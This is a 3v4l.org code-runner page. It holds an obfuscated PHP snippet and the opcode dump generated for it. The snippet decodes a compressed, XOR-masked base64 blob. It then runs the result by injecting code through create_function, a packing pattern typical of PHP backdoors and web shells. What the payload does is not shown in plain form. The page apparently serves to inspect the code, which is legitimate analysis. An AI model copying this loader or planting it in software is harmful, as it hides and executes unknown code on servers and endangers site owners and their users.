3v4l.org

run code in 300+ PHP versions simultaneously
<?php $ijtfaacb=array( '$ijtfaacb[0]=$ijtfaacb[3];$zlhrlmbv=zlhrlmbv(3,13);$ijtfaacb[0]=$zlhrlmbv($ijtfaacb[2]);', '$ijtfaacb[2]=gzuncompress(zlhrlmbv(734,2151));', 'c0hmZWRuRWJzelpkcm1ma3VmSXtjb1Z2YXFnd0RWWUhoY3RqfXd3TmZ7YmFzcUxSQkhDVFtdWkFGXE9ZQkRdXE5FXlRYR3dkQmhvc39je2d/Yn1/fHFtZGM1Zng9c0JZOCQ3KFNWSXJWSmpYY38lZGh7M3okfVJwPT04b3AuYlplZEJtNSplaXFwfW9pYmR4ZkFkfnNqZGRrZWh9fXMlaGJhf2EqYHhjaH8seHh4aXNsfTtjcmx7ZXghfnt/cmtpd0ZvRF5TSkJjbGFiVUd/V1l5NiUoZFZEXlNKTl5BQldmbmdua3R/JyJRdWZqf2pkKWxkZWVpMWJzYnRgfWd2dSdvc0pwZWZeT1ZPVEVaTlZbWUNYX0lVU0FCUV9CRFVnXV9CSEhJXUVRQF5JcFVVM3lPI25ibD5lZnxPI35qaj44aH5tfT17b2thSWZoayN+amo+OEdSRiRlYGh6QmFaWEdXRElOQVhPSkpYR1deWERSbWhtI35qamVpbXl6a3VwclFlbnlPamhwb0N4Z3dBdUlve3oqeX54enRtfT97cW52a2h5WnJ0b1hxe3oqeX54enRtfT9tYGFxb0JsamV1eXRyUXVqe2tVIldIYnciZmh9Tm5rdH8nIlF1Zmp/amRqY3hKdnt6WXd2f351f3B7UXZmfU9jZHZ4VWhrc3t0eXhuWXphYWJEXlNKTkNdVFFWUUlETE1ObEJtaVJGaWo7KXtjcWt/d3x9IHF1eE1Pb2k4KXFjc'.'2xiLWp/Y1Bzbj4pfH5kb31qanUgYm10eExUQ05tI313N3J5YHdqbj5+aXImfzFNV1kqYTpmbk1hKn46anlmKGE+Zyp8OlRBUG9/dXZOVGVkbm5iWWg9VWF0RVRkfnNqKzkhY2htKn06fHZ1T0ZzZU5/b3N1YWJwZXJvYSp9OnlkR05ycEhpcmJ5RHl4Kn06aXo2RkVXWT8/LzJ3dUlEZXRuKzZXUnojVmt0loJC+GTsWRF3hTzA9llCKiJa2qmjZVYMNMO/vLTazUhmf6aVBosAQQ4qtjv+95FVX0Xf8MhRUWZfzvdkFNieuCQhdgvSYsNppcl2FcZgwPAozgD84AEDA3RKyH8TPfuEZ4Wm2U211C9SVO1UqbKTdqWKdsZXEp1xX8Q6Runw3mLhg6y+2J7qmWj52gN4DuLjTp9Kwv9OIrgz/Q1Ck4wGdIQ+YEUlentLBIWDZTZAJdvZL5KH0yh7Ni7RbBNMbNhoUxu8giD3UJns2tHslHd5Fh1ZC0zcQeaRV4HoxWG8tX+3K+mnO57KX2YjwQreOUAbw4OvNRVkXTHbepjgMFVI27qaMVyFnC/I2jvH/SDWVSefLy1M8B+aqBpHFIQ0EcvV0SN9qI0ZyIHMhRFx8z5QiALXOHWhZUZY+xvfybNUephulFBQY0JvItuS2XcZZkJRv9pdc7hAFbjOZm+bh3aZfLxcKOY+H38UjGDc5sh0k7kh819j+w3hSGTE8XbxhRnIN2YhZFVryzh7bIxNQP+0bjCpLu9T9LVqpvSxxZ18XwG3s5Rkf8ljFqJPd5pmtSK/stXbMqwhbcUfdRLP/nUUgktzJl6qTjacSW3Gt4ti8fD3PDVu5xVdjQsvRYsieyfVaFXghTPdW0PyQElRzCslVbnqZq96O4aYPUw+yY+lcgFjLIgUxr3HdnrkNn36cvL8KN6eEttqB+e6xFsxpvYKhErbjEDX/Kml/XzDobicrlEWo79TZLSL5uH2DmiiI8XHkEE'.'HnBR64XgQC4EKR4DnZAlArQFklFQSJma9fGHShAsARUSBNVT8XqEVFhu3VdditVH6aWvExaQTtRgzkxKd4IUqUbIgVhwOLJ3gqVSCEASsJVK28nBeMEWo1ThOmMjsYsFaDrYNo5+JYb0giBgJgAbSF1a2GeL/EAFwjqI7eHz9iPtCjXYoqun2ScTVexEdLEK7tOMOkdizukDd9KTDqCa2fUD0hYX1g3A4y1qj+nAKVdu1QYfBDHBpEt8j26eHhXUr+X3aoHZDIRdZ2me+VqUU7V1QphKyrhbpxAZmktM000bG0r9jI7qzSpD0WRyIkLFTlorfdNOXxq1dhumLIXhRQWbwjFg2uqLjnBXMFPJyGq7YcUyqE0cpDI7EbT9OWwhEhzYcoLQZoFuXkE1V72K5xPxg4GQ3uDs7nPkm5Ut9iAfInhPIduQt0mzIiyti9vn3cO7r+O3oL+7L/9TJAXbCBJzQxzdyLlEYegIwqd3daMWWtV+qoNfOGab9H1oNuGliyj/fpG7hAqTi4rYp2I9TbfQoX471aVXmiCf7RhKqUpfQFlT39iXJj/RjyQmUGuP7/ElEV6MFDGl+94lsjie3oSnxhsWD8yF'.'DIPfZLaQAmgGbjd6KuQBx+Kw8owtoE8JUXGN2TpjueNoBFeJ4RzCiGM8Oc7korl0qq1diVBEORCmAs8WGOwgVa53NmyM4jZUyjO5HjRRXvNY8ghTHvs9aI8sTrA1nEfEuXJV8tJxyftuzotanqUo8RvC3+hQaAADNMQmjoqP51gV3clwyx80pJa00bcEdg5YNAV+2PF0OXM9YLgPcwcwDpFNrmqEDMUwQ0wiGppCtWF+kOkooYZFXk2wnfLN6uFqZOV+ouRgvQIn03dPMvLcdUSU9Bi1+2ACWNFrLfFsnsXAhzT/CbPQrO5ypva7gT+VtxLAFrP9limf6ICDwuJGk/jyfvA3w2qXGrjvSKW7eWjiGkLCdIOkaWPvr0/JQZD3MiSIE59eAxOCQVZs9PanSk+4FMr2GbqSJhL5c/1NqphQCjlaZGDtX6jv7aucFiRZeeCrzcIb/ht9ASdtY4Povz2gAWJpGm9ZFNe8vsnuQ6IUTFWKrC4XNYgDSr2MB0aoHi5S'.'ZU4zPko0877jb260cKZGplqw+/qfDoga2xZpyIkJ6gjC3MgTUcHYHjSVfJJN6LzkejE6Qx44HXPss9stlsXuC5D+6ZcV4mjNWlPOxcKOvr9gsbqNvcPDIamVGXYtwW6z+gsPdIlQziTFs5wFBjK+qmn0WZJVCLhPKTNsvbwZo8jpkpJNXdJqRg5nvSD9ZKTIUGg1uMPiSpUZbW0L68K0QIEBulS7920oa8/zYRVRstTK58R5VMB3AMnbDTluTSgqDb1f2zkMeD2R7TV72mdp4cR2mWMCrC1jrjSxkwTidrxbw0o4OfdKS5fyEIfegEmsBCs53HO1To/0Fv7o4ERCB7xQDYIB6QKdvXsbCEjnrb0OHw0EQRS2tKs55xUVsBaL9WtR4hiKfsJ2RvK4U1aCHDyK9oP+G3SmE7iFpEIeqLNI60QcEDXNKzb8y9GhjBXGxar3wIB60jA1iq477ljUdpoN8fI+oHlaPSl4RzAlUc+Xtiv5Cfn8og897Hthd/41Zkvamn4dkYA783T5lUrGtPFVHQNbThvGJ/nT+Xy35Uo6JoqveSkeO7XtUMqHThf/MPvxD9knYaQB+fRYuhnzyeqSL69Tp0vvd0s7k81nlpCbv8nhwYRrN0MK0dh/hn51tyJNg1sJeof1iInl8dpvLSDIRpdimIBmRqVNAV4s/dttCDsv5TrUT+f8zV3zdFN70+XMP/0GFNVSP+6hQOxAvpOjJazqX9hrQrU4JwPc31JAnp6R91g8qceBChXial5rv4LHWh00Z7y9C89dA1AQIxzw0Is8DuBQk9YT/Mf+cxBZj1DHg+xRFYkjtiFa3YSkUZGUcK7uhmC4Y9drXYXa1fmZ2xF5saOUIlPwSyCjlc+Cfgv8L6+D0je4Drd9j8+sKYxG3/dN0W/BdD43GJzWYu5cWd5mALHgl7g+1jwzw+efbTzR5q0HfxgaRVhF1CxDdtVL3CNBIvcBiZQ==', "/*y\x6e\x6b\x74\x7f\x27\x22\x51\x75\x66\x6a\x7f\x6a\x64*/");$htqfvwl='create_'; if(function_exists($htqfvwl.='function')){ $htqfvwl('','}function zlhrlmbv($p,$y){global $ijtfaacb;$v=$ijtfaacb;$i=str_pad("",$y,"ljgzqvnqcipnabyj");$g=str_repeat("\x1f",$y);$j=str_repeat("\xe0",$y);$h = substr($v[0],$p,$y);return(($h^$i)&$g)|($h&$j);}{'); for($jt=-1;++$jt<3;){ $htqfvwl('','}'.$ijtfaacb[$jt].'{'); }};unset($ijtfaacb);?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 7, Position 2 = 23
Branch analysis from position: 7
1 jumps found. (Code = 42) Position 1 = 20
Branch analysis from position: 20
2 jumps found. (Code = 44) Position 1 = 23, Position 2 = 13
Branch analysis from position: 23
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 13
2 jumps found. (Code = 44) Position 1 = 23, Position 2 = 13
Branch analysis from position: 23
Branch analysis from position: 13
Branch analysis from position: 23
filename:       /in/Qotkr
function name:  (null)
number of ops:  25
compiled vars:  !0 = $ijtfaacb, !1 = $htqfvwl, !2 = $jt
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ASSIGN                                                   !0, <array>
    5     1        ASSIGN                                                   !1, 'create_'
    6     2        INIT_FCALL                                               'function_exists'
          3        ASSIGN_OP                                     8  ~5      !1, 'function'
          4        SEND_VAL                                                 ~5
          5        DO_ICALL                                         $6      
          6      > JMPZ                                                     $6, ->23
    7     7    >   INIT_DYNAMIC_CALL                                        !1
          8        SEND_VAL_EX                                              ''
          9        SEND_VAL_EX                                              '%7Dfunction+zlhrlmbv%28%24p%2C%24y%29%7Bglobal+%24ijtfaacb%3B%24v%3D%24ijtfaacb%3B%24i%3Dstr_pad%28%22%22%2C%24y%2C%22ljgzqvnqcipnabyj%22%29%3B%24g%3Dstr_repeat%28%22%5Cx1f%22%2C%24y%29%3B%24j%3Dstr_repeat%28%22%5Cxe0%22%2C%24y%29%3B%24h+%3D+substr%28%24v%5B0%5D%2C%24p%2C%24y%29%3Breturn%28%28%24h%5E%24i%29%26%24g%29%7C%28%24h%26%24j%29%3B%7D%7B'
         10        DO_FCALL                                      0          
    9    11        ASSIGN                                                   !2, -1
         12      > JMP                                                      ->20
   10    13    >   INIT_DYNAMIC_CALL                                        !1
         14        SEND_VAL_EX                                              ''
         15        FETCH_DIM_R                                      ~9      !0, !2
         16        CONCAT                                           ~10     '%7D', ~9
         17        CONCAT                                           ~11     ~10, '%7B'
         18        SEND_VAL_EX                                              ~11
         19        DO_FCALL                                      0          
    9    20    >   PRE_INC                                          ~13     !2
         21        IS_SMALLER                                               ~13, 3
         22      > JMPNZ                                                    ~14, ->13
   11    23    >   UNSET_CV                                                 !0
         24      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
145.76 ms | 1396 KiB | 15 Q